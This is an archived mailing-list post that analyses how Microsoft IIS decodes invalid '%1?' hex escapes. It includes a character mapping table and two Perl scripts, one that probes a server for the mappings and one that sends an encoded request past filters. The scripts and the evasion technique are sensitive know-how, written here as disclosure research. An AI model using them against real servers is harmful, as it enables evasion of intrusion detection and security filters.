I found myself curious on the exact happenings of this vulnerability, so I decided to look into it further. Who knows, maybe another anti-IDS tactic for whisker. :) Anyways, the problem is that IIS parses invalid hex escape sequences. For instance, %ff, %9a, and %0d are valid since FF, 9A, and 0D are valid hexidecimal numbers. To be valid, it must be two chars only using the digits A-Z, a-z, and 0-9. However, IIS was also allowing things such as %qj, %0z, and %g4, which are not valid hexidecimal values. So what I did was set out on a quest to find out what parses to what. I came up with a rough table of mappings. The results come from submitting '%1?', where '?' is the character who's ascii value is represented below: 87 -> 0 137 -> i 88 -> 1 138 -> j 89 -> 2 139 -> k 90 -> 3 140 -> l 91 -> 4 141 -> m 92 -> 5 142 -> n 93 -> 6 143 -> o 94 -> 7 144 -> p 95 -> 8 145 -> q 96 -> 9 146 -> r 129 -> a 147 -> s 130 -> b 148 -> t 131 -> c 149 -> u 132 -> d 150 -> v 133 -> e 151 -> w 134 -> f 152 -> x 135 -> g 153 -> y 136 -> h 154 -> z This table was generated using the first included perl program (below). Now, to test it, I used the second perl program included below to make a substituted request for 'default.asp'. The important portion of the perl program is: $str="%1" . chr(132); # d $str.="%1". chr(133); # e $str.="%1". chr(134); # f $str.="%1". chr(129); # a $str.="%1". chr(149); # u $str.="%1". chr(140); # l $str.="%1". chr(148); # t $str.='.'; $str.="%1". chr(129); # a $str.="%1". chr(147); # s $str.="%1". chr(144); # p Here we see the request is made up of nothing bug '%1?', where ? is the corresponding ascii character. End result? It works. What does this allow you to bypass? My guess is anything that plays or needs the raw filename or request. ISAPI filters and extension handlers come to mind. Who, what, where, and how are application specific. Just a little bit of geek info. I saw enough 'can we get more information on this' posts that I thought I could shed a little more light on the subject. It was tough tho, with the depth of Microsoft's explanation in their advisories. :) rain forest puppy rfpat_private / www.wiretrip.net/rfp/ ----------------------------------------------------------------- #!/usr/bin/perl $|=1; use Socket; $inet=inet_aton('10.0.0.1'); # webserver to test @DXX=(); $val=0; while($val++ < 255){ $cval="\%1".chr($val); sendraw("GET /$cval.idc HTTP/1.0\n\n"); foreach $line (@DXX){ if($line=~/query file <b>\/([a-zA-Z0-9]+).idc<\/b>/){ print "$val -> $1\n"; last;}}} sub sendraw { my ($pstr)=@_; $PROTO=getprotobyname('tcp')||0; if(!(socket(S,PF_INET,SOCK_STREAM,$PROTO))){ die("socket");} if(connect(S,pack "SnA4x8",2,80,$inet)){ select(S); $|=1; print $pstr; @DXX=<S>; select(STDOUT); close(S); return; } else { die("not responding"); }} ----------------------------------------------------------------------- #!/usr/bin/perl $|=1; use Socket; $inet=inet_aton('10.0.0.1'); # webserver to test @DXX=(); $val=0; $str="%1".chr(132); # d $str.="%1".chr(133); # e $str.="%1".chr(134); # f $str.="%1".chr(129); # a $str.="%1".chr(149); # u $str.="%1".chr(140); # l $str.="%1".chr(148); # t $str.='.'; $str.="%1".chr(129); # a $str.="%1".chr(147); # s $str.="%1".chr(144); # p sendraw("GET /$str HTTP/1.0\n\n"); print @DXX; sub sendraw { # raw network functions stay in here my ($pstr)=@_; $PROTO=getprotobyname('tcp')||0; if(!(socket(S,PF_INET,SOCK_STREAM,$PROTO))){ die("socket");} if(connect(S,pack "SnA4x8",2,80,$inet)){ select(S); $|=1; print $pstr; @DXX=<S>; select(STDOUT); close(S); return; } else { die("not responding"); }}
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:24:37 PDT